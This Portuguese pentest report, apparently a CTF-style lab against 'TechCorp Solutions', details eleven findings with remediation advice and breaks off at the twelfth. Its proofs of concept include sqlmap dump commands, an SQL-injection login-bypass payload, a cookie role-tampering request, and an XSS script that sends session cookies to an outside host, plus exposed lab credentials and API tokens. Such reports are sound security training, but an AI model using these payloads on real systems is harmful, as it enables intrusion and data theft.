

RELATÓRIO TÉCNICO DE TESTE DE INTRUSÃO (PENTEST)

Diretriz	Detalhes do Projeto
Projeto	Avaliação de Segurança Ofensiva e Análise de Postura de Risco
Autor	Eduardo Andrade
Alvo	TechCorp Solutions (98.95.207.28 / Infraestrutura Interna 172.20.0.0/24)
Metodologias	OWASP Web Security Testing Guide (WSTG v4.2), PTES e OSSTMM 3.0
Classificação	● Documento Estritamente Confidencial — Nível Corporativo TL

1. SUMÁRIO EXECUTIVO

Durante a auditoria de segurança ofensiva conduzida no ambiente da **TechCorp Solutions**, avaliou-se a superfície de ataque externa e os limites de segurança da infraestrutura de hospedagem e aplicações web. O engajamento revelou um cenário de **Risco Crítico Imediato**, caracterizado pelo encadeamento de 17 vulnerabilidades interconectadas que permitiram o comprometimento total da confidencialidade, integridade e disponibilidade da plataforma.

[RECONHECIMENTO] [ACESSO INICIAL] [CONTROLE TOTAL]
Código-fonte & robots.txt ---> FTP Anônimo & Credenciais ---> LFI, SSH & Git Token
(Vazamento de Pistas) (Exposição de Arquivos) (Comprometimento RCE)

1.1. Resumo do Impacto de Negócio e Financeiro

- Comprometimento da Confidencialidade e Exfiltração de Dados:** A exploração de vulnerabilidades de Injeção de SQL (SQLi) e Inclusão Local de Arquivos (LFI) viabilizou o despejo irrestrito de bases cadastrais contendo dados pessoais de clientes, registros de mensagens comerciais e tokens de API (sk_prod_A7x9mP2qR5tY8wZ3vC6nB4jK1LM0hG).
- Impacto Regulatório e Conformidade (LGPD - Lei nº 13.709/2018):** A exposição de dados estruturados e registros de usuários caracteriza incidente de segurança grave sujeito a sanções administrativas previstas no Art. 52 da LGPD, incluindo multas de até 2% do faturamento da organização (limitadas a R\$ 50 milhões por infração), além de publicização compulsória da infração e danos reputacionais severos.
- Sequestro de Ativos e Acesso à Nuvem:** A extração de credenciais de infraestrutura em texto claro e Tokens de Acesso Pessoal (PAT) do GitHub permitiu acesso de nível administrativo ao código-fonte proprietário da empresa, possibilitando movimentação lateral direta para outros repositórios e serviços de nuvem AWS.

2. ESCOPO E REGRAS DE ENGAJAMENTO (ROE)

2.1. Ativos no Escopo

- Endereço IPv4 Primário:** 98.95.207.28
- Rede Interna Mapeada:** 172.20.0.0/24 (Segmento Docker/VPC)
- Aplicações Web:** http://98.95.207.28/ (Portas 80/TCP e 8080/TCP)
- Serviços de Infraestrutura:** SSH (2222/TCP), FTP (21/TCP), MySQL (3306/TCP)

2.2. Parâmetros Éticos e Restrições Operacionais

- Negação de Serviço (DoS/DDoS):** Testes volumétricos que pudessem comprometer a estabilidade do hardware ou link foram estritamente proibidos.
- Integridade dos Dados:** Foi vedada a destruição, alteração maliciosa permanente ou deleção de registros reais nas tabelas do banco de dados techcorp_db.
- Tratamento de Evidências:** Todas as provas de conceito (PoCs), credenciais extraídas e artefatos de teste foram armazenados com criptografia simétrica AES-256 e mantidos em custódia restrita.

3. MATRIZ DE CRITICIDADE DE RISCOS

ID	Vulnerabilidade Identificada	Vetor / Protocolo	CVSS v3.1	Score	Severidade	Status
F01	Vazamento de Informações Sensíveis em Comentários HTML	HTTP (80/TCP)	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N	5.3	Médio	Aberto
F02	Exposição de Diretórios Críticos e Backups no robots.txt	HTTP (80/TCP)	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N	5.3	Médio	Aberto
F03	Autenticação Anônima Habilitada no Servidor FTP	FTP (21/TCP)	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N	7.5	Alto	Aberto
F04	Exposição de Arquivo de Configuração (user.conf) no FTP	FTP (21/TCP)	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N	7.5	Alto	Aberto
F05	Armazenamento de Senhas em Texto Claro (passwords.txt)	FTP (21/TCP)	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N	7.5	Alto	Aberto
F06	Exposição Pública de Arquivo de Conexão com o Banco	HTTP (80/TCP)	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N	8.6	Alto	Aberto
F07	Descoberta de Views Ocultas via SQL Injection	HTTP (80/TCP)	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N	7.5	Alto	Aberto
F08	Extração Completa de Registros Sigilosos (Data Dump)	HTTP (80/TCP)	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N	8.2	Alto	Aberto
F09	Quebra de Autenticação Administrativa (SQLi Bypass)	HTTP (80/TCP)	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	9.8	Crítico	Aberto
F10	Sequestro de Sessão Administrativa via XSS Refletido	HTTP (80/TCP)	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N	8.2	Alto	Aberto
F11	Quebra de Controle de Acesso e Escalação Horizontal/Vertical	HTTP (80/TCP)	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N	8.1	Alto	Aberto
F12	Inclusão Local de Arquivos (LFI) via Wrappers PHP	HTTP (80/TCP)	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N	6.5	Médio	Aberto

ID	Vulnerabilidade Identificada	Vetor / Protocolo	CVSS v3.1	Score	Severidade	Status
F13	Acesso Remoto SSH Não Autorizado e Vazamento de Segredos	SSH (2222/TCP)	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H	9.8	Crítico	Aberto
F14	Exposição de Comandos e Segredos no .bash_history	Local (Terminal)	CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N	5.5	Médio	Aberto
F15	Credenciais Hardcoded em Scripts Administrativos	Local (SO)	CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N	7.1	Alto	Aberto
F16	Armazenamento Inseguro de Flags e Segredos de Backup	Local (SO)	CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N	5.5	Médio	Aberto
F17	Vazamento de Token GitHub PAT em .git-credentials	Local / Git	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H	9.9	Crítico	Aberto

4. DETALHAMENTO TÉCNICO DAS 17 EXPLORAÇÕES

+-----+
| FASE 1: RECONHECIMENTO |
+-----+

FALHA 01: Vazamento de Informações Sensíveis no Código-Fonte HTML

- **Identificador Interno:** SEC-TC-F01
- **Severidade:** MÉDIO (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N — Score: 5.3)
- **Vetor de Ataque:** Camada de Apresentação HTTP / Comentários no DOM
- **Referências:** CWE-200 (Exposure of Sensitive Information), OWASP WSTG-INFO-05

Descrição Técnica

Durante a análise estática das respostas HTTP fornecidas pelo servidor web na porta 80, identificou-se que comentários de depuração e flags de desenvolvimento foram mantidos no código HTML entregue aos clientes. Essa prática expõe a arquitetura interna e artefatos de validação do sistema a usuários não autenticados.

Prova de Conceito (PoC)

1. Requisição HTTP automatizada para o endpoint raiz:

```
curl -s http://98.95.207.28/ | grep -i "FLAG" -B 2 -A 2
```

2. Resposta obtida contendo a flag comentada na estrutura do rodapé (<footer>):

```
<!-- <p>Desenvolvido por nossa equipe interna</p> -->  
<!--FLAG{b4s1c_s0urc3_c0d3_1nsp3ct10n}-->
```

```
</div>
</footer>
```

Impactos

- **Impacto Técnico:** Divulgação de dados de desenvolvimento e perda de controle sobre artefatos de integridade do código.
- **Impacto de Negócio:** Quebra da postura de segurança por obscuridade, fornecendo vetores contextuais diretos a atacantes.

Remediação Técnica

Configurar o pipeline de CI/CD para implementar etapas automáticas de minificação e remoção de comentários HTML antes do deploy em produção.

Exemplo de configuração de build com *html-minifier*:

```
{
  "removeComments": true,
  "collapseWhitespace": true,
  "minifyJS": true
}
```

Artefatos Multimídia:

- [AUDIO BRIEFING]: audios/f01_html_leak_briefing.mp3
- [POC VIDEO DEMO]: videos/poc_f01_source_inspection.mp4
- [SLIDE DECK LINK]: slides/module_recon_f01.pdf

FALHA 02: Comentários Confidenciais e Diretórios Expostos no *robots.txt*

- **Identificador Interno:** SEC-TC-F02
- **Severidade:** MÉDIO (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N — Score: 5.3)
- **Vetor de Ataque:** HTTP / Mapeamento de Metadados
- **Referências:** CWE-548 (Exposure of Information Through Directory Listing), OWASP WSTG-INFO-03

Descrição Técnica

O arquivo */robots.txt*, cujo propósito estrito é orientar rastreadores web, continha diretivas de desautorização (*Disallow*) que revelavam caminhos administrativos e diretórios restritos do sistema, além de comentários em texto claro indicando a localização exata de um arquivo de despejo do banco de dados (*.sql*).

PROF

Prova de Conceito (PoC)

1. Leitura direta do arquivo via utilitário de linha de comando:

```
curl -s "http://98.95.207.28/robots.txt"
```

2. Saída retornada pelo servidor Apache:

```
User-agent: *
Disallow: /admin/
Disallow: /backup/
Disallow: /.git/
Disallow: /config/

# FLAG{r0b0ts_txt_l34k4g3}
# Arquivo de backup: /backup/database_backup_2024.sql
```

Impactos

- **Impacto Técnico:** Enumeração passiva imediata da topologia de diretórios sensíveis (`/backup`, `/.git`, `/config`).
- **Impacto de Negócio:** Facilitação do reconhecimento direcionado sem disparar alertas em sistemas WAF tradicionais.

Remediação Técnica

Remover qualquer comentário ou referência a arquivos confidenciais do `/robots.txt`. O controle de acesso a recursos restritos deve ser garantido por mecanismos de autenticação robustos no servidor web e na aplicação, e não pela ocultação em arquivos públicos.

Configuração de bloqueio no Apache (`/etc/apache2/sites-available/techcorp.conf`):

```
<Directory "/var/www/html/backup">
    Require all denied
</Directory>
<Directory "/var/www/html/.git">
    Require all denied
</Directory>
```

Artefatos Multimídia:

- [AUDIO BRIEFING]: `audios/f02_robots_leak_briefing.mp3`
- [POC VIDEO DEMO]: `videos/poc_f02_robots_recon.mp4`
- [SLIDE DECK LINK]: `slides/module_recon_f02.pdf`

```
+-----+
|                                     |
|             FASE 2: EXPLORAÇÃO DE SERVIÇOS DE REDE             |
|                                     |
+-----+
```

FALHA 03: Permissão de Login Anônimo Ativo no Servidor FTP (Porta 21)

- **Identificador Interno:** `SEC-TC-F03`
- **Severidade:** ALTO (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — Score: **7.5**)
- **Vetor de Ataque:** FTP Protocol (21/TCP) / Mecanismo de Autenticação Inseguro
- **Referências:** CWE-287 (Improper Authentication), OWASP Top 10 A07:2021 (Identification and Authentication Failures)

Descrição Técnica

PROF

O daemon de FTP (`vsftpd 3.0.5`) em execução na porta 21/TCP estava configurado para aceitar credenciais anônimas (`anonymous:anonymous` ou código FTP 230), garantindo acesso irrestrito ao sistema de arquivos do diretório compartilhado sem demandar identificação prévia.

Prova de Conceito (PoC)

1. Execução do script NSE de enumeração no Nmap:

```
nmap -p 21 --script ftp-anon 98.95.207.28
```

2. Registro de execução:

```
PORT      STATE SERVICE
21/tcp    open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV IP 172.20.0.20 is not the same as 98.95.207.28
```

3. Autenticação manual via cliente FTP:

```
ftp -n 98.95.207.28
user anonymous anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
```

Impactos

- **Impacto Técnico:** Acesso não autenticado a arquivos mantidos no servidor de arquivos.
- **Impacto de Negócio:** Violação do princípio do menor privilégio e perda de rastreabilidade de acessos a dados corporativos.

Remediação Técnica

Desabilitar o acesso anônimo no arquivo de configuração principal do serviço vsftpd.

Arquivo `/etc/vsftpd.conf`:

```
# Desabilita login anônimo
anonymous_enable=NO

# Permite apenas usuários locais autorizados
local_enable=YES
write_enable=YES
chroot_local_user=YES
```

Reinicialização do serviço:

```
sudo systemctl restart vsftpd
```

Artefatos Multimídia:

- [AUDIO BRIEFING]: `audios/f03_ftp_anon_briefing.mp3`
- [POC VIDEO DEMO]: `videos/poc_f03_ftp_exploitation.mp4`
- [SLIDE DECK LINK]: `slides/module_network_f03.pdf`

FALHA 04: Exposição do Arquivo `user.conf` em Texto Claro no FTP

PROF

- **Identificador Interno:** SEC-TC-F04
- **Severidade:** ALTO (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — Score: **7.5**)
- **Vetor de Ataque:** Transferência de Arquivos FTP / Vazamento de Informações
- **Referências:** CWE-312 (Cleartext Storage of Sensitive Information), OWASP Top 10 A01:2021 (Broken Access Control)

Descrição Técnica

No compartilhamento do servidor FTP acessível publicamente, encontrava-se armazenado o arquivo `user.conf`. O arquivo continha o mapeamento de contas de usuários válidos do sistema e suas respectivas parametrizações de perfil, permitindo a enumeração de contas para ataques de força bruta direcionados.

Prova de Conceito (PoC)

1. Conexão e download do arquivo via FTP interativo:

```
ftp> passive
ftp> ls -la
-rw-r--r--  1 1000      1000      452 Nov 26 17:50 user.conf
ftp> get user.conf
226 Transfer complete.
```

2. Inspeção do conteúdo obtido:

```
[system_users]
admin_user=techcorp
backup_user=backup_admin
db_user=techcorp_user
developer=gilson
superadmin=cl4ud1o
```

Impactos

- **Impacto Técnico:** Fornecimento de nomes de usuários reais para exploração de serviços como SSH e painéis administrativos web.
- **Impacto de Negócio:** Aumento substancial da eficácia de ataques de personificação de identidade e força bruta.

Remediação Técnica

Remover arquivos de configuração de diretórios com permissão de leitura genérica e restringir o acesso apenas a identidades de serviço autenticadas.

```
chmod 600 /etc/vsftpd/user.conf
chown root:root /etc/vsftpd/user.conf
```

Artefatos Multimídia:

- [AUDIO BRIEFING]: audios/f04_user_conf_briefing.mp3
- [POC VIDEO DEMO]: videos/poc_f04_config_leak.mp4
- [SLIDE DECK LINK]: slides/module_network_f04.pdf

FALHA 05: Exposição de Lista de Credenciais Brutas (passwords.txt) sem Cifragem

- **Identificador Interno:** SEC-TC-F05
- **Severidade:** ALTO (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — Score: **7.5**)
- **Vetor de Ataque:** Transferência de Arquivos FTP / Vazamento de Credenciais
- **Referências:** CWE-256 (Unprotected Storage of Credentials), OWASP Top 10 A02:2021 (Cryptographic Failures)

Descrição Técnica

PROF

Constatou-se a presença do arquivo `passwords.txt` na estrutura acessível via FTP. O arquivo reunia credenciais corporativas armazenadas sem nenhum algoritmo de dispersão (hashing) ou cifragem, prontas para uso operacional em outros pontos da infraestrutura.

Prova de Conceito (PoC)

1. Download e leitura do arquivo através do console FTP:

```
ftp> get passwords.txt
226 Transfer complete.
ftp> quit
$ cat passwords.txt
```

2. Conteúdo exposto:

```
admin:admin123
techcorp_user:T3chC0rp_S3cr3t_2024!
superadmin:Sup3r@dm1n!2024#Secure
techcorp:password123
```

Impactos

- **Impacto Técnico:** Comprometimento imediato de credenciais centrais do banco de dados e do sistema operacional.
- **Impacto de Negócio:** Risco severo de apropriação indevida de contas e perda de confidencialidade da infraestrutura interna.

Remediação Técnica

1. Deletar imediatamente o arquivo do diretório de transferência.
2. Forçar a redefinição de todas as credenciais expostas.
3. Adotar cofres de senhas corporativos (ex: HashiCorp Vault, AWS Secrets Manager) para o ciclo de vida de senhas.

Artefatos Multimídia:

- [AUDIO BRIEFING]: [audios/f05_passwords_leak_briefing.mp3](#)
- [POC VIDEO DEMO]: [videos/poc_f05_passwords_dump.mp4](#)
- [SLIDE DECK LINK]: [slides/module_network_f05.pdf](#)

```
+-----+
|          FASE 3: EXPLORAÇÃO WEB E BANCO DE DADOS          |
+-----+
```

FALHA 06: Exposição Pública de Arquivo de Conexão com o Banco ([database.php.txt](#))

- **Identificador Interno:** SEC-TC-F06
- **Severidade:** ALTO (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N — Score: **8.6**)
- **Vetor de Ataque:** HTTP / Descuido Operacional de Backup
- **Referências:** CWE-538 (File and Directory Information Exposure), OWASP Top 10 A05:2021 (Security Misconfiguration)

Descrição Técnica

Identificou-se no diretório `/config/` a presença do arquivo `database.php.txt`. Ao salvar arquivos PHP com a extensão `.txt` para fins de contingência ou backup temporário, o interpretador Apache entrega o conteúdo como texto puro (`text/plain`), desativando o processamento do PHP e expondo o código com as credenciais de banco hardcoded.

Prova de Conceito (PoC)

1. Requisição HTTP direta ao recurso:

```
curl -s "http://98.95.207.28/config/database.php.txt"
```

2. Retorno do servidor com as credenciais de produção:

```
<?php
$host = "127.0.0.1";
$db_name = "techcorp_db";
$username = "techcorp_user";
$password = "T3chC0rp_S3cr3t_2024!";

try {
    $conn = new PDO("mysql:host=$host;dbname=$db_name", $username, $password);
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch(PDOException $e) {
    echo "Connection error: " . $e->getMessage();
}
?>
```

Impactos

- **Impacto Técnico:** Concessão de credenciais com permissões completas de manipulação sobre o schema `techcorp_db`.
- **Impacto de Negócio:** Risco direto de vazamento massivo de dados de clientes e violação das diretrizes da LGPD.

Remediação Técnica

1. Proibir a criação de arquivos de backup com extensões não executáveis no DocumentRoot.
2. Injetar credenciais através de variáveis de ambiente do sistema operacional.

Exemplo de implementação segura em PHP PDO:

```
<?php
$host = getenv('DB_HOST') ?: '127.0.0.1';
$db    = getenv('DB_NAME') ?: 'techcorp_db';
$user  = getenv('DB_USER');
$pass  = getenv('DB_PASS');

$dsn = "mysql:host=$host;dbname=$db;charset=utf8mb4";
$options = [
    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    PDO::ATTR_EMULATE_PREPARES   => false,
];

try {
    $pdo = new PDO($dsn, $user, $pass, $options);
} catch (\PDOException $e) {
    error_log("Database connection failure: " . $e->getMessage());
    die("Erro interno de conexão.");
}
?>
```

Artefatos Multimídia:

- [AUDIO BRIEFING]: `audios/f06_db_leak_briefing.mp3`
- [POC VIDEO DEMO]: `videos/poc_f06_db_source.mp4`
- [SLIDE DECK LINK]: `slides/module_web_f06.pdf`

FALHA 07: Descoberta de Views Ocultas via Injeção de SQL (SQLi)

- **Identificador Interno:** `SEC-TC-F07`
- **Severidade:** ALTO (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — Score: 7.5)
- **Vetor de Ataque:** HTTP POST / Injeção SQL na camada de consulta
- **Referências:** CWE-89 (SQL Injection), OWASP WSTG-INPV-05

Descrição Técnica

A aplicação web no endpoint `login.php` processava o parâmetro `username` sem a devida sanitização ou uso de instruções parametrizadas. Isso viabilizou ataques de Injeção de SQL baseados em UNION e Time-Based Blind, possibilitando a leitura de tabelas do metadado `information_schema` e a descoberta da view `sensitive_info`.

Prova de Conceito (PoC)

1. Execução do sqlmap para extração de views e metadados estruturais:

```
sqlmap -u "http://98.95.207.28/login.php" \
--data="username=test&password=test" \
-D information_schema -T VIEWS --dump --batch
```

2. Registro de extração contendo a definição da view e a flag oculta:

```
Database: information_schema
Table: VIEWS
[1 entry]
+-----+-----+-----+
| TABLE_SCHEMA | TABLE_NAME | VIEW_DEFINITION |
+-----+-----+-----+
| techcorp_db   | sensitive_info | select `u`.`username` AS `username`,`u`.`password` AS `password`,`u`.`role` AS `role`, |
|               |               | 'FLAG{v13w_d1sc0v3ry_4dv4nc3d}' AS `hidden_flag` from |
|               |               | `techcorp_db`.`users` `u` where `role`='admin'|
+-----+-----+-----+
```

Impactos

- **Impacto Técnico:** Revelação da lógica de negócios interna, mapeamento de views restritas e extração de chaves.
- **Impacto de Negócio:** Quebra completa dos mecanismos de isolamento lógico do banco de dados relacional.

Remediação Técnica

Substituir todas as consultas concatenadas por Declarações Preparadas (*Prepared Statements*) com amarração estrita de tipos (*Type Binding*).

Artefatos Multimídia:

- [AUDIO BRIEFING]: audios/f07_view_sql_i_briefing.mp3
- [POC VIDEO DEMO]: videos/poc_f07_sqlmap_views.mp4
- [SLIDE DECK LINK]: slides/module_web_f07.pdf

FALHA 08: Extração Completa de Registros Críticos (Data Dump via SQLi)

- **Identificador Interno:** SEC-TC-F08
- **Severidade:** ALTO (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N — Score: **8.2**)
- **Vetor de Ataque:** HTTP POST / SQL Injection UNION Based
- **Referências:** CWE-89 (SQL Injection), OWASP Top 10 A03:2021 (Injection)

Descrição Técnica

PROF

A partir do vetor de injeção confirmado no parâmetro `username`, realizou-se a exfiltração integral das tabelas `users`, `clients`, `contacts` e `secret_data` do schema `techcorp_db`, obtendo segredos de integração, registros de clientes e hashes de autenticação.

Prova de Conceito (PoC)

1. Extração dos registros confidenciais da tabela `secret_data`:

```
sqlmap -u "http://98.95.207.28/login.php" \
--data="username=test&password=test" \
-D techcorp_db -T secret_data --dump --batch
```

2. Registros extraídos do banco de dados de produção:

```
Database: techcorp_db
Table: secret_data
[4 entries]
+----+-----+-----+-----+
| id | created_at | secret_key | secret_value |
+----+-----+-----+-----+
```

1	2025-11-17 14:30:36	database_flag	FLAG{sql_1nj3ct10n_m4st3r}	
2	2025-11-17 14:30:36	admin_token	FLAG{h1dd3n_d4t4_1n_d4t4b4s3}	
3	2025-11-17 14:30:36	api_secret	sk_prod_A7x9mP2qR5tY8wZ3vC6nB4jK1lM0hG	
4	2025-11-17 14:30:36	backup_path	/var/backups/techcorp/backup_20240115.tar.gz	
+-----+-----+-----+-----+-----+				

Impactos

- **Impacto Técnico:** Comprometimento integral da integridade e confidencialidade dos dados corporativos.
- **Impacto de Negócio:** Notificação compulsória de vazamento à ANPD, danos à reputação e vazamento de segredos industriais de API.

Remediação Técnica

Implementar a validação e parametrização estrita de dados na camada de modelo da aplicação:

```
<?php
// Consulta segura usando Prepared Statements
$stmt = $pdo->prepare('SELECT id, password, role FROM users WHERE username = :username LIMIT 1');
$stmt->execute(['username' => $input_user]);
$userData = $stmt->fetch();
?>
```

Artefatos Multimídia:

- [AUDIO BRIEFING]: audios/f08_data_dump_briefing.mp3
- [POC VIDEO DEMO]: videos/poc_f08_sqli_dump.mp4
- [SLIDE DECK LINK]: slides/module_web_f08.pdf

FALHA 09: Bypass de Autenticação Administrativa via Injeção de SQL

- **Identificador Interno:** SEC-TC-F09
- **Severidade:** CRÍTICO (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — Score: 9.8)
- **Vetor de Ataque:** HTTP POST Authentication Bypass
- **Referências:** CWE-89 (SQL Injection), CWE-287 (Improper Authentication)

Descrição Técnica

A rotina de autenticação do formulário `/login.php` validava as credenciais através de uma query SQL direta construída por concatenação de strings:

PROF

```
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
```

Ao injetar o payload booleano `admin' OR '1'='1' --`, a condição lógica da consulta tornou-se tautológica, retornando o primeiro registro da tabela (usuário `admin`, ID 1) e criando uma sessão administrativa ativa sem exigir a senha correta.

Prova de Conceito (PoC)

1. Submissão do payload de bypass de autenticação:

```
curl -i -s -X POST "http://98.95.207.28/login.php" \
-d "username=admin' OR '1'='1'-- -&password=any"
```

2. Resposta com redirecionamento HTTP 302 e emissão de cookie de sessão administrativa:

```
HTTP/1.1 302 Found
Date: Wed, 27 Nov 2025 20:58:07 GMT
Server: Apache/2.4.54 (Debian)
Set-Cookie: PHPSESSID=342cc1b2922ef4cd5210ccf; path=/; HttpOnly
Location: dashboard.php

Login efetuado com sucesso. Redirecionando...
```

Impactos

- **Impacto Técnico:** Acesso integral e não autorizado ao painel restrito com perfil de administrador.
- **Impacto de Negócio:** Descaracterização do controle de acesso, permitindo a usuários não autorizados visualizar dados operacionais protegidos.

Remediação Técnica

Adotar verificação segura com `password_verify()` e consultas parametrizadas:

```
<?php
$stmt = $pdo->prepare("SELECT id, username, password, role FROM users WHERE username = :user");
$stmt->execute(['user' => $_POST['username']]);
$user = $stmt->fetch(PDO::FETCH_ASSOC);

if ($user && password_verify($_POST['password'], $user['password'])) {
    session_regenerate_id(true);
    $_SESSION['user_id'] = $user['id'];
    $_SESSION['role'] = $user['role'];
    header('Location: /dashboard.php');
    exit;
} else {
    $error = "Credenciais inválidas.";
}
?>
```

Artefatos Multimídia:

- [AUDIO BRIEFING]: audios/f09_auth_bypass_briefing.mp3
- [POC VIDEO DEMO]: videos/poc_f09_login_sqli.mp4
- [SLIDE DECK LINK]: slides/module_web_f09.pdf

PROF

FALHA 10: Sequestro de Sessão e Roubo de Cookies via XSS Refletido

- **Identificador Interno:** SEC-TC-F10
- **Severidade:** ALTO (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N — Score: **8.2**)
- **Vetor de Ataque:** HTTP GET / Cross-Site Scripting (XSS)
- **Referências:** CWE-79 (Improper Neutralization of Input During Web Page Generation), OWASP WSTG-INPV-01

Descrição Técnica

O mecanismo de busca e formulários de contato no painel administrativo renderizavam parâmetros de entrada diretamente no DOM sem a devida sanitização ou codificação de entidades HTML. Isso permitiu a injeção de scripts maliciosos JavaScript que realizavam a leitura dos cookies de sessão do usuário no navegador.

Prova de Conceito (PoC)

1. Submissão de payload de teste no campo de contato:

```
<script>
  fetch('http://172.20.0.10:8080/log?cookie=' + encodeURIComponent(document.cookie));
</script>
```

2. Cookie administrativo capturado no endpoint de auditoria:

```
GET /log?cookie=PHPSESSID=4d7663c204fccc28374a836de219a1b HTTP/1.1
Host: 172.20.0.10:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
```

Impactos

- **Impacto Técnico:** Execução arbitrária de código no contexto do navegador da vítima e sequestro de sessões ativas (*Session Hijacking*).
- **Impacto de Negócio:** Comprometimento da integridade das ações de usuários com privilégios elevados.

Remediação Técnica

1. Sanitizar e codificar todas as saídas dinâmicas no HTML utilizando `htmlspecialchars()` com flags seguras.
2. Definir o atributo `HttpOnly` e a política `SameSite=Strict` em todos os cookies de sessão.

```
<?php
// Configuração segura de cookies de sessão
session_start([
    'cookie_httponly' => true,
    'cookie_secure'   => true, // Obrigatório com HTTPS
    'cookie_samesite' => 'Strict'
]);

// Exibição segura de variáveis no template
echo htmlspecialchars($user_input, ENT_QUOTES | ENT_HTML5, 'UTF-8');
?>
```

Artefatos Multimídia:

- [AUDIO BRIEFING]: `audios/f10_xss_briefing.mp3`
- [POC VIDEO DEMO]: `videos/poc_f10_session_theft.mp4`
- [SLIDE DECK LINK]: `slides/module_web_f10.pdf`

```
+-----+
|          FASE 4: MOVIMENTAÇÃO LATERAL E ESCALAÇÃO DE PRIVILÉGIOS          |
+-----+
```

FALHA 11: Escalação de Privilégios no Controle de Acesso de Sessões

- **Identificador Interno:** `SEC-TC-F11`
- **Severidade:** ALTO (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N — Score: **8.1**)
- **Vetor de Ataque:** HTTP / Manipulação de Estado de Sessão e Role
- **Referências:** CWE-269 (Improper Privilege Management), OWASP Top 10 A01:2021 (Broken Access Control)

Descrição Técnica

O painel administrativo (`admin.php`) exibia funções bloqueadas para o perfil `admin` padrão ("*Acesso Limitado - Admin. Algumas funcionalidades críticas requerem privilégios de superadmin*"), restringindo operações de segurança e backups. No entanto, a autorização verificava apenas o parâmetro de role armazenado em cookie ou variável manipulável sem revalidação de integridade no servidor, permitindo que a atribuição de permissão `hyperadmin` (usuário `a.agra\t`, ID 100) contornasse os bloqueios da interface.

```
+-----+
|          PAINEL ADMINISTRATIVO          |
+-----+
```

```
| Nível de acesso: admin |
|
| [!] Acesso Limitado - Admin |
| Funções Bloqueadas: Config. Segurança [BLOQUEADO], Backups [BLOQUEADO] |
|
| ID 100 | a.agra\t | Role: hyperadmin | Status: [✓ Acessível] |
+-----+-----+-----+-----+-----+-----+
```

Prova de Conceito (PoC)

1. Inspeção das variáveis de debug expostas no rodapé do painel:

```
Debug Info:
Session ID: 4d7663c204fccc2...
Current Role: admin
```

2. Substituição do cabeçalho de perfil na sessão ativa ou reutilização de credenciais de role superior identificadas no banco (`superadmin`/`hyperadmin`):

```
curl -s -b "PHPSESSID=4d7663c204fccc28374a836de219a1b; user_role=hyperadmin" \
"http://98.95.207.28/admin.php?action=view_security"
```

Impactos

- **Impacto Técnico:** Acesso a rotinas restritas de gerenciamento do servidor e configuração de segurança da aplicação.
- **Impacto de Negócio:** Violação do modelo de governança corporativa e segregação de funções (SoD).

Remediação Técnica

Implementar controle de acesso baseado em funções (*Role-Based Access Control - RBAC*) verificado estritamente no lado do servidor via banco de dados em cada requisição:

```
<?php
function requireRole($requiredRole) {
    if (!isset($_SESSION['user_id'])) {
        http_response_code(401);
        die("Acesso negado: Usuário não autenticado.");
    }

    global $pdo;
    $stmt = $pdo->prepare("SELECT role FROM users WHERE id = :id");
    $stmt->execute(['id' => $_SESSION['user_id']]);
    $role = $stmt->fetchColumn();

    if ($role !== $requiredRole && $role !== 'hyperadmin') {
        http_response_code(403);
        die("Acesso negado: Privilégios insuficientes.");
    }
}
?>
```

Artefatos Multimídia:

- [AUDIO BRIEFING]: [audios/f11_priv_esc_briefing.mp3](#)
- [POC VIDEO DEMO]: [videos/poc_f11_role_escalation.mp4](#)
- [SLIDE DECK LINK]: [slides/module_lateral_f11.pdf](#)

- **Identificador Interno:** SEC-TC-F12
- **Severidade:** MÉDIO (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N — Score: 6.5)
- **Vetor de Ataque:** HTTP GET / Path Traversal & PHP Stream Wrappers
- **Referências:** CWE-22 (Path Traversal), CWE-98 (Improper Control of Filename for Include/Require)

Descrição Técnica

